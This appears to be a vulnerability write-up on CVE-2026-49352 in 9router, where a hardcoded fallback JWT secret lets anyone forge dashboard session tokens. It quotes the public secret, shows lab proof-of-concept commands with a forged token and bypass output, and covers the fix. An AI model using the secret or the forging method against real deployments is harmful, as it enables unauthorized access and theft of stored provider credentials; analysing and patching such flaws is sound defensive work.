A JWT session is only as strong as the secret it’s signed with. CVE-2026-49352 is what happens when that secret is a string sitting in a public repository.
Primer: JWT Session Authentication in Next.js Apps
Before the root cause, it’s worth being precise about how this authentication pattern is supposed to work, since the vulnerability is entirely a function of one design decision.
Signing and Verifying a Session Token
A JWT (JSON Web Token) session works by having the server sign a small claims payload with a secret key and hand the result to the client as a cookie. On every subsequent request, the server re-verifies the signature with the same key. If the signature checks out, the server trusts the claims without needing to look anything up in a database or session store — the signature is the proof.
9router signs its dashboard session token with HS256 — HMAC using SHA-256, a symmetric algorithm. There is one secret, used both to sign and to verify; unlike an asymmetric scheme such as RS256 or ES256, there is no private/public key split where only the signer holds the sensitive half. Whoever has the one shared secret can both issue and validate tokens.
Whoever holds the signing key can mint a token the server will accept as genuine, for any claims they like, without ever going through the login flow. Nothing in the JWT format itself prevents this. It depends entirely on the key staying secret.
Where the Check Happens
In a Next.js app, this kind of check typically runs in a request guard invoked before the route handler, deciding whether to let the request through or redirect it to /login. In 9router, that guard is src/dashboardGuard.js, and it gates both the /dashboard UI and a fixed list of API paths.
The Vulnerability in the Session Guard
9router signs dashboard session tokens with jose. Both the login handler and the request guard independently derive the signing key the same way — verified directly on source, on the affected tag:
// src/app/api/auth/login/route.js — issues the token
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
// src/dashboardGuard.js — verifies the token
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
If the operator never sets JWT_SECRET, both files fall back to the same literal string. It isn’t a leaked secret — it’s public knowledge from the moment the line was committed to a repository with 19k+ stars.
The Fallback Moved, the Bug Didn’t
The vulnerable line exists in two different shapes across the affected range, verified directly against tagged source:
0.2.21 – 0.4.30— the fallback is defined independently insrc/app/api/auth/login/route.js(issuing) andsrc/dashboardGuard.js(verifying), each declaring its own copy ofSECRET.0.4.31 – 0.4.41— a refactor consolidates both responsibilities into a single module,src/lib/auth/dashboardSession.js, which now exportscreateDashboardAuthToken()andverifyDashboardAuthToken(). The fallback string is carried over unchanged — the refactor relocated the bug, it didn’t fix it.
Consider what the verification path actually checks (unchanged in shape across both eras):
- Read the
auth_tokencookie from the request. - Call
jwtVerify(token, SECRET). - If it doesn’t throw, return
true.
Anyone who can produce a signature jose accepts is treated as authenticated:
// src/dashboardGuard.js
const ALWAYS_PROTECTED = [
"/api/shutdown",
"/api/settings/database",
];
/api/settings/database — the endpoint that returns stored provider connections and API keys — is gated by this exact same verification call as everything else.
The Fix
I traced the fix by diffing the tags directly rather than trusting the advisory’s stated patch version. The resolving commit is fe3ce25 (“Update JWT_SECRET handling”, 2026-05-15), and it’s already present in tag v0.4.44 — not v0.4.45 as the advisory states. That’s not a rounding issue: v0.4.45 does not exist as a tag in the repository at all; the sequence jumps from v0.4.44 straight to v0.4.46.
The commit replaces the hardcoded fallback with a generated-and-persisted secret:
// src/lib/auth/dashboardSession.js — fixed, v0.4.44+
function loadJwtSecret() {
if (process.env.JWT_SECRET) return process.env.JWT_SECRET;
const file = path.join(DATA_DIR, "jwt-secret");
try {
return fs.readFileSync(file, "utf8").trim();
} catch {}
fs.mkdirSync(DATA_DIR, { recursive: true });
const generated = crypto.randomBytes(32).toString("hex");
fs.writeFileSync(file, generated, { mode: 0o600 });
return generated;
}
const SECRET = new TextEncoder().encode(loadJwtSecret());
If JWT_SECRET isn’t set, the app now generates 32 random bytes with crypto.randomBytes() on first boot and persists them to a file with 0o600 permissions instead of falling back to a public string. The symmetric key is still symmetric — the fix isn’t a move to asymmetric signing — but it is no longer a value anyone can read on GitHub.
The PoC Environment
To verify this end to end, I built a container from source pinned to v0.4.30 — inside the affected range — and deliberately left JWT_SECRET unset, reproducing the default vulnerable deployment.
podman-compose build
podman-compose up -d
cd exploit
go run exploit.go -target http://localhost:20128 -probe
The exploit is a small Go program using golang-jwt/jwt/v5. No login, no password, no timing behavior to exploit — just a signature.
Probe 1 — Forging the token
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
Worth noting: the legitimate login flow issues 24-hour tokens (.setExpirationTime("24h")); nothing stops an attacker from signing one valid for decades, since the guard only checks that the signature and exp are valid — not that exp falls within any sane operational window.
Probe 2 — Reaching the dashboard
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
Probe 3 — Reaching a protected data endpoint
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
The lab instance was never configured through the dashboard, so the arrays are empty — but the 200 and the full response schema confirm the endpoint is reachable with nothing but a forged cookie. On a populated instance, apiKeys and providerConnections would contain the operator’s actual provider credentials.
Why There Is No Mitigating Configuration
Unlike bugs that only surface under an uncommon setup, this one has exactly one variable that matters: whether JWT_SECRET was ever explicitly set.
# Vulnerable: JWT_SECRET never set — falls back to the public constant
podman run -e PORT=20128 ninerouter-image
# Not vulnerable: JWT_SECRET set to a real random value
podman run -e PORT=20128 -e JWT_SECRET="$(openssl rand -hex 32)" ninerouter-image
There is no web.xml-style edge case narrowing exposure here. Skipping an optional environment variable is the default behavior of most quick-start and docker-run deployments, not a rare misconfiguration. If JWT_SECRET was never set, the instance is exposed, in full, to anyone who can reach it over the network.
Conclusion
The root cause — a public, hardcoded fallback signing secret — is confirmed in source across two independent files. The exploitation path required no privileges, no user interaction, and no timing or race conditions: forge a token, set a cookie, request the page.
dashboardGuard.js trusts jwtVerify() completely, and that function only proves the token was signed with a known key.
The bypass is confirmed, unconditional, and reproducible. Patch to v0.4.44 or later, or at minimum set JWT_SECRET to a random value on every deployment — leaving it unset is the entire vulnerability.
References
| Resource | Link |
|---|---|
| Advisory | GHSA-jphh-m39h-6gwx |
| Fix commit | decolua/9router@fe3ce25 |
| Vulnerable repo | decolua/9router |
| PoC repository | covepseng/cve-2026-49352-poc |